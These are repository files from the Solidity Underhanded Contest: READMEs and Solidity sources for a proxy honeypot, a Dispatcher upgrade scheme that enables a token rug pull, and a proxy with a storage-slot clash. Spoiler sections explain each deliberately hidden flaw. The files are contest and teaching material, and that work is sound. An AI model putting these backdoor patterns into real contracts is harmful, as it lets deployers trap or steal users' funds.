# Give Away :: Solidity Underhand Submission
This is a submission for [Solidity Underhand Contest](https://underhanded.soliditylang.org/).
## Brief
This is a smart contract honey pot based on **proxy**. A random user on the internet visits the contract address on Etherscan with verified source code, that has nice ether in it. The user notices that there is a method that helps anyone to take control of the contract by upgrading the implementation containing a method that allows only them to withdraw the entire balance of the contract.
## About Files Included
- GiveAway_v1.sol (the main_v1 file)
- GiveAway_v2.sol (the main_v2 file)
- Proxiable.sol (standard file, taken from [ERC1822](https://github.com/ethereum/EIPs/blob/62f5f2105e41c5a2c6a1a8d0e5c642107eaec0ce/EIPS/eip-1822.md#constructor), inherited in main files)
- Proxy.sol (standard file, taken from [ERC1822](https://github.com/ethereum/EIPs/blob/62f5f2105e41c5a2c6a1a8d0e5c642107eaec0ce/EIPS/eip-1822.md#proxiable-contract), the proxy file)
- README
## How it should work
1. Person A deploys `GiveAway_v1.sol` at `0xGiveAwayV1`.
2. Person A deploys `Proxy.sol` at `0xProxy` with args `0x` and `0xGiveAway`.
3. Person A sends `initialize()` tx to `0xProxy` with value `10 ether`.
4. Person B sees this, and notices that there could be a `getGift()` method in the implementation.
5. Person B deploys `GiveAway_v2.sol` at `0xGiveAwayV2`, that has the method `withdraw2()` with their address and `withdraw()` method commented so that the original owner should not be able to withdraw.
6. Person B calls `updateCodeAddress(address)` on `0xProxy`, passing `0xGiveAwayV2` as arg and sending in the minimum `1 ether + 1` value.
7. Person B calls `withdraw2()` and gets `11 ether + 1`.
## How it works / Spoilers
Those who are familiar with how smart contract proxies work, they might have already catched the flaw. The existance of the flaw results the deployer having full control, even if it does not seem like it. So here it is! When we deployed the implementation contract, we had the constructor set the value of `available` storage var. A proxied contract [cannot have a constructor](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/e5fbbda9bac49039847a7ed20c1d966766ecc64a/contracts/proxy/Initializable.sol#L9), so the `available` storage var is not initialized in the proxy contract. The users who are not aware of this might think they can get the control of contract. In the step 6, the `if` condition in `updateCodeAddress` method is not satisfied due to nullish value in `available`, which doesn't actually update the implementation address as it seems.
## Considerations
The scamy theme is choosen as a parody for so many scams online. Goal of this, is to bring awareness about such acts happening online which defames a good technology.
## Acknowledgements
Thanks to organisers for the initiative!
## License
MIT
================================================
FILE: 2020/submissions_2020/submission3_AlexanderWade/Dispatcher.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
import "./interfaces/OptInContract.sol";
import "./interfaces/VersionContract.sol";
import "./erc20/erc20v1.sol";
interface ImplContract {
function migrateAndLock(address msgSender) external returns (bytes memory);
function migrateTo(bytes memory upgradeData) external;
}
contract Dispatcher {
// Most recent versionID
uint latestVersionID;
// Map versionID -> implementation address
mapping (uint => address) versionImpls;
// User's current versionID
mapping (address => uint) userVersion;
// Maps user to their version's implementation address
mapping(address => address) userApprovedImpls;
// An interface that allows users to interact with the Dispatcher
// to explicitly opt in to new versions of the app
address immutable optInContract;
// An interface that allows a version's owner to propose a new version
address immutable versionContract;
// The address allowed to propose new versions to upgrade to
address owner;
/**
* Creates our 2 interface contracts, which allow interaction with the Dispatcher
* ... without adding additional public functions to its interface.
*/
constructor () {
optInContract = address(new OptInContract());
versionContract = address(new VersionContract());
// Owner address; allowed to propose new versions
owner = msg.sender;
// VersionIDs start at 1
latestVersionID = 1;
versionImpls[latestVersionID] = address(new ERC20V1(msg.sender));
}
/**
* This contract's only public function
* Forwards msg.data to the caller's approved implementation contract, unless:
* 1. Caller is optInContract -> Updates user's approved version
* 2. Caller is versionContract -> Allows owner to propose new version
* 3. User has approved the latest version and has not upgraded -> user is upgraded before forwarding
*/
fallback() external payable {
if (msg.sender == optInContract) {
// Allows sender to opt in to some newer version
(address msgSender, uint approvedVersion) = abi.decode(msg.data, (address,uint));
optIn(msgSender, approvedVersion);
return;
} else if (msg.sender == versionContract) {
// Allows the owner to propose a newer version
(address msgSender, address nextImpl) = abi.decode(msg.data, (address, address));
version(msgSender, nextImpl);
return;
}
/**
* If the user has approved the latest-proposed implementation, and their
* current version is a previous version, upgrade to latest before continuing
*/
if (userApprovedImpls[msg.sender] == latestImpl() && userVersion[msg.sender] < latestVersionID) {
upgrade();
}
// After upgrade, userVersion contains caller's current version
// If user did not upgrade, userVersion still contains caller's current version
uint256 targetVersion = userVersion[msg.sender];
address impl = versionImpls[targetVersion];
// Call app at user's current version
// Performs a low-level return / revert
execute(impl, abi.encodePacked(msg.data, msg.sender)); // append msg.sender for the impl
}
// Returns the implementation address of the latest version
function latestImpl() internal view returns (address) {
return versionImpls[latestVersionID];
}
/**
* Accessed via OptInContract.optIn; allows caller to approve a newer version.
* The next time caller interacts with the app, they will be upgraded to this approved version.
* @param _msgSender Passed in from OptInContract, is the msg.sender to OptInContract.optIn
* @param _approvedVersion The version _msgSender is approving. Must be a newer, existing version.
*/
function optIn(address _msgSender, uint _approvedVersion) internal {
require(_approvedVersion > userVersion[_msgSender], "Downgrades not supported");
require(_approvedVersion <= latestVersionID, "Must approve existing version");
userVersion[_msgSender] = _approvedVersion;
userApprovedImpls[_msgSender] = versionImpls[_approvedVersion];
}
/**
* Each Implementation has an owner, who may propose a next version to upgrade to.
* Users must opt in to this version before changes take effect.
* @param _msgSender Passed in from VersionContract, is the msg.sender to VersionContract.createNewVersion
* @param _nextImpl The address of the implementation of the next version
*/
function version(address _msgSender, address _nextImpl) internal {
require(_msgSender == owner, "Must be owner to propose upgrade");
// Increment latestVersionID and create new version
latestVersionID++;
versionImpls[latestVersionID] = _nextImpl;
}
/**
* Migrates user's data from an old version to the...
*/
function upgrade() internal {
address oldImpl = versionImpls[userVersion[msg.sender]];
address newImpl = versionImpls[latestVersionID];
userVersion[msg.sender] = latestVersionID;
// Tell old version to upgrade msg.sender to the new version
// Old version should delete/lock msg.sender's state
bytes memory upgradeData = ImplContract(oldImpl).migrateAndLock(msg.sender);
// Pass returned data to new version
ImplContract(newImpl).migrateTo(upgradeData);
}
function execute(address _impl, bytes memory _data) internal {
address target = _impl;
assembly {
let res := call(gas(), target, callvalue(), add(_data, 32), mload(_data), 0, 0)
returndatacopy(0, 0, returndatasize())
switch res
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
}
================================================
FILE: 2020/submissions_2020/submission3_AlexanderWade/README.md
================================================
# EIP-42000: Dispatcher-based upgradability
We are pleased to introduce the revolutionary new Dispatcher-Based Upgradeability, designed to enable:
1. Opt-in upgrades: allowing users to remain on an older version of the application if they wish.
2. Ease of use: users may continue to interact with the same address, regardless of which version they are on.
## Motivations
Users should be able to treat the logic of a smart _contract_ as if it were an actual contract, ie. an agreement which they have entered into, and which they can trust will be upheld by the reliable execution of the Ethereum Virtual Machine.
### Storage slots as property!
If the current logic of an application restricts write access of a given slot to a given user, such a user should be able to trust that these conditions will be upheld! Furthermore they should be given the opportunity to review and agree to (or reject!) any proposals to modify this logic.
### `onlyOwner` should mean you!
For too long smart contract developers have kept the keys to upgrades to themselves. Even if you trust them to act honestly, what do you know about their ability to store those keys securely?
Many would suggest that governance by token voters is the solution... perhaps for Whales, but what about the rest of the world? Should they not have the freedom to accept or reject the logic by which they choose to transact?
## Architecture
### The Dispatcher
Our solution introduces a `Dispatcher` contract, which holds a mapping of all existing version numbers to that version's implementation address.
The `Dispatcher` has a transparent interface. Its only external function is its `fallback` which, under normal circumstances, simply forwards the call to the user's current `userApprovedImpl`.
If the `Dispatcher` detects that the user has opted in to the latest proposed version, it will perform a migration from old to new prior to calling the new implementation.
### Dispatch Callers
Because the `Dispatcher` has no named external functions, we need another way to modify its internal state. This is achieved by defining two "Dispatch Caller" contracts:
1. The `Version` contract allows the owner to propose an implementation address for the next version.
2. The `OptIn` contract allows users to opt in to an upgrade. Because downgrades are not supported, users can only opt-in to a newer version than the one they are currently on.
The `Dispatcher` identifies calls from these contracts and handles them appropriately.
### The Implementation
As with a typical non-upgradable contract, implementation contracts contain both the logic and the state. The only difference is that all state changing functions are protected by `require(msg.sender==dispatcher)`. As a consequence of dispatcher-based upgradeability, the implementation cannot use `msg.sender` to represent the caller. Instead, it relies on the`Dispatcher` to append the address of the sender to the `calldata`.
A valid implementation contract MUST contain the following migration functions, both of which MUST be callable only by the `Disapatcher` in order to facilitate state migration:
- `migrateAndLock(address user)`: is called on the implementation which is being upgraded away from. It MUST return the user's state, and MUST lock the user to prevent the user from receiving state (ie. a token balance). This ensures that users remaining on previous versions do not send tokens to users that have upgraded to newer versions, as those tokens will be burned.
- `migrateTo(bytes data)`: is called on the implementation which is being upgraded towards. It MUST populate the user's state with the data received.
## Scenario
An anonymous developer releases an ERC20 token associated with an exciting new project that mashes up the latest in Delicious DeFi mechanism design (let's call it `PIZZA`) and allocated the full supply of 10,000,000 to themselves. They then deposit a bunch of their tokens in Uniswap, after which people and bots proceed to buy them indiscriminately. This results in a pretty crap token distribution: the developer still has 9,000,000 tokens. This lopsided distribution makes it really difficult to grow a community!
Fortunately, the ERC20 token was implemented to comply with EIP-42000: The Dispatcher Standard™️, providing for an opt-in upgrade to a new version. The developer proposes an upgrade to a new version of the `PIZZA` token (`PIZZA2`) which decreases their own balance (as well as the total supply) by 8,000,000.
This gives token holders a choice: they can hold onto the current token, or they can choose to upgrade to `PIZZA2`. `PIZZA2` has a fairer distribution, but it's important to note that upgrades are one-way. Once an address has upgraded, their balance and actions are locked on the previous version, and downgrades are not supported.
## Spoiler
Unfortunately, the `Dispatcher` was designed with a fatal flaw. The result is that the anonymous dev can leave the user unable to access their token balance, unless they consent to yet another upgrade.
Once users opt in to the latest implementation, `PIZZA`'s anon dev is able to take advantage of their approval to silently upgrade them to a "locked" version of the same token.
The problem in `Dispatcher` lies in part with the logic governing versioning. Specifically, nothing prevents the owner from proposing a new version with the same implementation address as that of a previous version:
```javascript
// Map versionID -> implementation address
mapping (uint => address) versionImpls;
// SPOILER EXAMPLE: _nextImpl == versionImpls[latestVersionID]
function version(address _msgSender, address _nextImpl) internal {
require(_msgSender == owner, "Must be owner to propose upgrade");
// Increment latestVersionID and create new version
latestVersionID++;
versionImpls[latestVersionID] = _nextImpl;
}
```
The other part of the puzzle is the fallback's upgrade logic:
```javascript
if (userApprovedImpls[msg.sender] == latestImpl() && userVersion[msg.sender] < latestVersionID) {
upgrade();
}
```
This is intended to detect:
1. That the user has approved the lastest implementation, "opting in" to an upgrade
2. That the user is not on the latest version already
However, if both the latest version and its prior version share an implementation address, the user has tacitly agreed to an upgrade twice. From the token contract's perspective, the user is being upgraded to a new version - so their balance and actions are locked:
```javascript
function migrateAndLock(address _user) external returns (bytes memory) {
require(msg.sender == dispatcher);
// Remove balance to migrate, and reduce totalSupply
uint balance = balanceOf[_user];
totalSupply -= balance;
delete balanceOf[_user];
// Lock user actions on this version
isLocked[_user] = true;
// Tell the next version how many tokens _user is migrating
return abi.encode(_user, balance);
}
```
Even if users notice something is wrong, it is already too late. Once a user approves an implementation address, this address stays in their `userApprovedImpls` until a newer version comes along and they approve that one instead. Downgrades are not supported, and the user can only approve an implementation address that belongs to a newer version than the one they're currently on.
In practice, this means our anon dev can take their time with this rug pull. By releasing a sound-looking, fully-audited `PIZZA2` with a better token distribution, the anon dev entices users to upgrade to the new contract. Once a sufficient number of users have approved the new version and migrated their state, the dev can trigger the flaw by proposing a newer version with the same implementation address.
In the end, users remain stranded in ERC20V2: unable to `transfer` or `transferFrom` as the contract believes they have upgraded to a newer version. There is only one way out: opt in to whatever upgrade the anon dev proposes next.
================================================
FILE: 2020/submissions_2020/submission3_AlexanderWade/erc20/erc20v1.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
contract ERC20V1 {
uint public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping(address => uint256)) public allowance;
string public constant name = "Pizza Token (DeFi Supreme)";
string public constant symbol = "PIZZA";
uint8 public constant decimals = 18;
// Dev address
address public immutable developer;
// Only the Dispatcher can call state-changing functions
address immutable dispatcher;
// If a user has upgraded to the next version, transfers to this address are blocked
mapping (address => bool) isLocked;
constructor (address _dev) {
dispatcher = msg.sender;
developer = _dev;
// Give dev init supply. 10 MIL PIZZA
uint initialSupply = 10000000 * (10 ** decimals);
totalSupply = initialSupply;
balanceOf[_dev] = initialSupply;
}
/**
* Upgrade a user from the last version to this version
* Since this is V1, this function just reverts
*/
function migrateTo(bytes memory) external pure {
revert();
}
/**
* Migrate a user from this version to the specified next version
* Locks the user's balance on this version, and reduces totalSupply by the same amount
*/
function migrateAndLock(address _user) external returns (bytes memory) {
require(msg.sender == dispatcher);
// Remove balance to migrate, and reduce totalSupply
uint balance = balanceOf[_user];
totalSupply -= balance;
delete balanceOf[_user];
// Lock user actions on this version
isLocked[_user] = true;
// Tell the next version how many tokens _user is migrating
return abi.encode(_user, balance);
}
/**
* transfer behaves normally, except that _to must not have upgraded
* The original msg.sender (who's sending the tokens) should be
* appended to the end of calldata by the Dispatcher contract
*/
function transfer(address _to, uint _amount) external returns (bool) {
require(msg.sender == dispatcher);
// Restrict transfers to users that are on the next version
require(!isLocked[_to]);
// Get original sender passed-in by dispatcher
address originalSender = getSenderFromCalldata();
// Check amounts
require(balanceOf[originalSender] >= _amount);
require(balanceOf[_to] + _amount >= balanceOf[_to]);
// Perform transfer
balanceOf[originalSender] -= _amount;
balanceOf[_to] += _amount;
// Return artifact of outdated ERC20 standard
return true;
}
/**
* transferFrom behaves normally, except that _to must not have upgraded
* The original msg.sender (to whom _from has approved tokens) should be
* appended to the end of calldata by the Dispatcher contract
*/
function transferFrom(address _from, address _to, uint _amount) external returns (bool) {
require(msg.sender == dispatcher);
// Restrict transfers to users that are on the next version
require(!isLocked[_to]);
// Get original sender passed-in by dispatcher
address originalSender = getSenderFromCalldata();
// Check amounts
require(balanceOf[_from] >= _amount);
require(balanceOf[_to] + _amount >= balanceOf[_to]);
require(allowance[_from][originalSender] >= _amount);
// Perform transfer and decrease originalSender's allowance
balanceOf[_from] -= _amount;
balanceOf[_to] += _amount;
allowance[_from][originalSender] -= _amount;
// Return artifact of outdated ERC20 standard
return true;
}
/**
* Approve an _amount of tokens to a _spender. We don't care what version
* the _spender is on.
* The original msg.sender approving tokens should be appended to the end
* of calldata by the Dispatcher contract
*/
function approve(address _spender, uint _amount) external returns (bool) {
require(msg.sender == dispatcher);
// Get original sender passed-in by dispatcher
address originalSender = getSenderFromCalldata();
// Approve _spender by _amount
allowance[originalSender][_spender] = _amount;
// Return artifact of outdated ERC20 standard
return true;
}
/**
* We expect the dispatcher to pack the original sender address at the end of calldata
*/
function getSenderFromCalldata() internal pure returns (address sender) {
assembly {
calldatacopy(12, sub(calldatasize(), 20), 20)
sender := mload(0)
}
}
}
================================================
FILE: 2020/submissions_2020/submission3_AlexanderWade/erc20/erc20v2.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
import "./erc20v1.sol";
contract ERC20V2 {
uint public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping(address => uint256)) public allowance;
string public constant name = "Pizza Token (DeFi Supreme, V2)";
string public constant symbol = "PIZZA2";
uint8 public constant decimals = 18;
// Dev address
address public immutable developer;
// Only the Dispatcher can call state-changing functions
address immutable dispatcher;
// If a user has upgraded to the next version, transfers to this address are blocked
mapping (address => bool) isLocked;
constructor (address _dispatcher, ERC20V1 _v1) {
dispatcher = _dispatcher;
// Get dev address from previous version
developer = _v1.developer();
// Don't need to set total supply -> we'll get that gradually as
// users upgrade from v1
}
/**
* Upgrade a user from the last version to this version
* @param _data contains the user's address and balance
*/
function migrateTo(bytes memory _data) external {
require(msg.sender == dispatcher);
(address user, uint balance) = abi.decode(_data, (address, uint));
// If user is developer address, decrease balance by 8 MIL PIZZA
// If they don't have 8 MIL PIZZA, just set it to zero
if (user == developer) {
uint EIGHT_MIL = 8000000 * (10 ** decimals);
if (balance >= EIGHT_MIL) {
balance -= EIGHT_MIL;
} else {
balance = 0;
}
}
// Increase user's balance and totalSupply by same amount
balanceOf[user] += balance;
totalSupply += balance;
}
/**
* Migrate a user from this version to the next version
* Locks the user's balance on this version, and reduces totalSupply by the same amount
*/
function migrateAndLock(address _user) external returns (bytes memory) {
require(msg.sender == dispatcher);
// Remove balance to migrate, and reduce totalSupply
uint balance = balanceOf[_user];
totalSupply -= balance;
delete balanceOf[_user];
// Lock user actions on this version
isLocked[_user] = true;
// Tell the next version how many tokens _user is migrating
return abi.encode(_user, balance);
}
/**
* transfer behaves normally, except that _to must not have upgraded
* The original msg.sender (who's sending the tokens) should be
* appended to the end of calldata by the Dispatcher contract
*/
function transfer(address _to, uint _amount) external returns (bool) {
require(msg.sender == dispatcher);
// Restrict transfers to users that are on the next version
require(!isLocked[_to]);
// Get original sender passed-in by dispatcher
address originalSender = getSenderFromCalldata();
// Check amounts
require(balanceOf[originalSender] >= _amount);
require(balanceOf[_to] + _amount >= balanceOf[_to]);
// Perform transfer
balanceOf[originalSender] -= _amount;
balanceOf[_to] += _amount;
// Return artifact of outdated ERC20 standard
return true;
}
/**
* transferFrom behaves normally, except that _to must not have upgraded
* The original msg.sender (to whom _from has approved tokens) should be
* appended to the end of calldata by the Dispatcher contract
*/
function transferFrom(address _from, address _to, uint _amount) external returns (bool) {
require(msg.sender == dispatcher);
// Restrict transfers to users that are on the next version
require(!isLocked[_to]);
// Get original sender passed-in by dispatcher
address originalSender = getSenderFromCalldata();
// Check amounts
require(balanceOf[_from] >= _amount);
require(balanceOf[_to] + _amount >= balanceOf[_to]);
require(allowance[_from][originalSender] >= _amount);
// Perform transfer and decrease originalSender's allowance
balanceOf[_from] -= _amount;
balanceOf[_to] += _amount;
allowance[_from][originalSender] -= _amount;
// Return artifact of outdated ERC20 standard
return true;
}
/**
* Approve an _amount of tokens to a _spender. We don't care what version
* the _spender is on.
* The original msg.sender approving tokens should be appended to the end
* of calldata by the Dispatcher contract
*/
function approve(address _spender, uint _amount) external returns (bool) {
require(msg.sender == dispatcher);
// Get original sender passed-in by dispatcher
address originalSender = getSenderFromCalldata();
// Approve _spender by _amount
allowance[originalSender][_spender] = _amount;
// Return artifact of outdated ERC20 standard
return true;
}
/**
* We expect the dispatcher to pack the original sender address at the end of calldata
*/
function getSenderFromCalldata() internal pure returns (address sender) {
assembly {
calldatacopy(12, sub(calldatasize(), 20), 20)
sender := mload(0)
}
}
}
================================================
FILE: 2020/submissions_2020/submission3_AlexanderWade/interfaces/OptInContract.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
/**
* Allows users to explicitly opt in and out of upgrades in the Dispatcher
*/
contract OptInContract {
address public immutable dispatcher;
constructor () {
dispatcher = msg.sender;
}
/**
* Approve a newer version on behalf of the user
*/
function optIn(uint _approvedVersion) public {
bytes memory data = abi.encode(msg.sender, _approvedVersion);
// Call dispatcher
(bool success, bytes memory res) = dispatcher.call(data);
res; // ignore
require(success);
}
}
================================================
FILE: 2020/submissions_2020/submission3_AlexanderWade/interfaces/VersionContract.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
/**
* Allows the owner of an app's version to publish a new version implementation
*/
contract VersionContract {
address public immutable dispatcher;
constructor () {
dispatcher = msg.sender;
}
/**
* Allows the owner of the latest version to propose a new version for the app
* @param _nextImpl The new version's implementation address
* @param _nextOwner The address that can propose this version's next version
*/
function createNewVersion(address _nextImpl, address _nextOwner) public {
bytes memory data = abi.encode(msg.sender, _nextImpl, _nextOwner);
// Call dispatcher
(bool success, bytes memory res) = dispatcher.call(data);
res; // ignore
require(success);
}
}
================================================
FILE: 2020/submissions_2020/submission4_JaimeIglesias/ERC20.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../libraries/SafeMath.sol";
contract ERC20 {
using SafeMath for uint256;
bool private initialized;
bool private initializing;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
function initialize(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) initializer public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_mint(msg.sender, totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
================================================
FILE: 2020/submissions_2020/submission4_JaimeIglesias/README.md
================================================
## Very Safu Proxy
Just a proxy that uses unstructured storage to store the following values:
- implementation (the address of the logic contract)
- admin (the address that has the ability to upgrade the proxy, but only if the owner allows it)
- owner (the address that has the ability to opt-in or out of upgrades)
- optIn (boolean representing the willingnes of the owner to having their proxy upgraded)
It allows the `owner` of the proxy to opt-in/out of upgrades.
It allows the `admin` to upgrade the proxy if the `owner` is willing to.
## Spoilers
It's worth saying that my original intention was to make it a fully transparent proxy, not that it would have changed the exploit,
I think it would have added to the story.
There is really no novelty to the exploit, it's a classic storage clash that
capitalizes on the use of unstructured storage to store the proxy state.
To be specific, the storage slot where `_optIn` lives actually clashes with the `balances` mapping on an ERC20 (which I did not include)
for the address `0x47Adc0faA4f6Eb42b499187317949eD99E77EE85`, this allows `admin` to change `_optIn` to `true`
by simply sending some tokens to that account thus allowing the `admin` to upgrade the contract against the will
of the `owner` - we can easily calculate the storage slot for the balance mapping with: `keccack256(abi.encodePacked(uint256(address), uint256(slot))`
where `address` is the key for the balance mapping and `slot` is the slot in which the mapping sits on storage.
So, if there is no novelty and no excitement why submit this?
Well, to be honest I wanted to showcase how we sometimes blindly trust code that looks honest.
The proxy is filled with comments, it even gives formulas referencing eip1967 - sorry Santiago! - to how the storage slots are computed,
although out of the four only two of them are actually part of eip1967 and only 3 of them are actually true - whoops!
This means that if you are a bit lazy and you go "Oh, these 3 slots are valid so the 4th must also be valid..." or if you go like
"oh yeah EIPXXX, that must be correct" then you are basically screwed...
But lets not lose focus, what I want people to take out of this code is:
0. Do not use code that you do not understand - simply put, if you are not sure about how `delegatecall` works, do NOT use it - ask people, read articles and docs!
1. Never trust unstructured storage that does not give the formulas to how the slots are calculated!
2. Even if the formulas are given, do not trust that the coded values are the right ones!
3. Just because the comment above some random values says "EIP" do NOT trust it - specially if its not a finalized proposal.
3. Do not be lazy, verify everything !
## A little bit of context on the exploit
As we all know, when a contract (A) `delegatecalls` into another contract (B), the code in B gets
executed in A's context. This means, amongst various things, that the storage being modified is A's.
Simply put, if we have two contracts:
```
contract A {
uint a;
uint b;
function delegateToB() {
...
}
}
contract B {
uint b;
uint a;
function foo() {
b = b + 1;
a = a + 2;
}
}
```
When A `delegatecalls` into B to execute `foo()` then `b` is going to be increased by one and
`a` is also going to be increased by two...but...that is not the whole truth - where WE (silly humans) see `a` and `b`
solidity (as the compiled language that it is) sees storage slots, to be specific from the perspective of contract A,
`a` lives at storage slot zero and `b` lives at storage slot one BUT from the perspective of contract B `a` lives at storage slot
one and `b` lives at storage slot zero which means that whenever A `delegatecalls` into B we are going to increase A's `a` by one and A's
`b` by two, which is the opposite that we are trying to achieve - oh no!
But lets not worry, as long as wee keep the same storage structure we are safe !
But to be honest having to worry about having the same storage layout in your proxy as the proxied contract is kinda annoying! So, how do we get around it?
Enter - Unstructured storage. Simply put it consists in choosing storage slots, by capitalizing on how solidity maps state variables to storage, to guarantee that the selected slots will not
clash with the proxied contract - if you do it correctly that is hehehe.
By applyimg the unstructured storage technique we can store proxy-related state without worrying about the layout of the proxied contract.
## References
[Unstructured Storage](https://blog.openzeppelin.com/upgradeability-using-unstructured-storage/)
[State of Smart Contract Upgrades](https://blog.openzeppelin.com/the-state-of-smart-contract-upgrades/)
================================================
FILE: 2020/submissions_2020/submission4_JaimeIglesias/VerySafuProxyTrustMe.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract VerySafuProxyTrustMe {
// storage slot where the address of the logic contract will be stored.
// This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1,
bytes32 private constant _IMPLEMENTATION_SL0T = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
// storage slot where the address of the admin will be stored.
// This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
// storage slot where the address of the owner will be stored.
// This is the keccak-256 hash of "eip1967.proxy.owner" subtracted by 1
bytes32 private constant _OWNER_SLOT = 0xa7b53796fd2d99cb1f5ae019b54f9e024446c3d12b483f733ccc62ed04eb126a;
// storage slot where the upgrade-optIn boolean will be stored.
// This is the keccak-256 hash of "eip1967.proxy.optIn" subtracted by 1
bytes32 private constant _OPTIN_SLOT = 0x7b191067458f5b5c0c36f2be8ceaf27679e7ea94b6964093ce9e5c7db2aff82a;
/*
* @param logicContract the address of the new implementation contract.
* @param owner the address of the proxy owner.
*/
constructor(address logicContract, address owner) {
_setImplementation(logicContract);
_setOwner(owner);
_setAdmin(msg.sender);
}
/*
* Delegates calls to the logic contract, will run if no payable function payable function matches the calldata
*/
fallback () payable external {
_fallback();
}
/*
* Delegates calls to the logic contract, will run if calldata is empty
*/
receive () payable external {
_fallback();
}
modifier onlyAdmin() {
require(msg.sender == _admin(), "Only admin can call this function");
_;
}
modifier onlyOwner() {
require(msg.sender == _owner(), "Only owner can call this function");
_;
}
/*
* External function that updates the implementation contract address.
* Two conditions have to be met for this function to be executed:
* - caller must be the proxy admin
* - proxy owner setted `_optIn` to true.
* If both conditions are satisfied, the stored logic contract address is updated.
* @param newImplementation the address of the new implementation contract.
*/
function upgrade(address newImplementation) external onlyAdmin {
require(_optIn(), "Owner does not want the contract to be upgraded");
_setImplementation(newImplementation);
}
/*
* External function that allows the owner to opt-in for upgrades.
* only the owner can call this function.
*/
function optInOfUpgrade() external onlyOwner {
_setOptIn(true);
}
/*
* External function that allows the owner to opt-out of upgrades.
* only the owner can call this function.
*/
function optOutOfUpgrade() external onlyOwner {
_setOptIn(false);
}
/*
* External view function that returns the address of the implementation contract.
*/
function implementation() external view returns (address) {
return _implementation();
}
/*
* External view function that returns the address of the proxy owner.
*/
function owner() external view returns (address) {
return _owner();
}
/*
* External view function that returns the address of the proxy admin.
*/
function admin() external view returns (address) {
return _admin();
}
/*
* External view function that returns:
* - `true` if the owner is willing to accept upgrades.
* - `false` if the owner is not willing to accept upgrades.
*/
function didOptIn() external view returns (bool) {
return _optIn();
}
/*
* Delegates calls to the implementation contract.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/*
* Hook that is executed before falling back to the implementation contract.
* Prevents the admin from calling the fallback function.
*/
function _beforeFallback() internal {
require(msg.sender != _admin(), "admin cannot call the fallback function");
}
/*
* Delegates the current call to the implementation contract address and handles the response.
*/
function _delegate(address logicContract) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), logicContract, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/*
* Internal function that stores the new proxy owner address to the corresponding storage slot.
*/
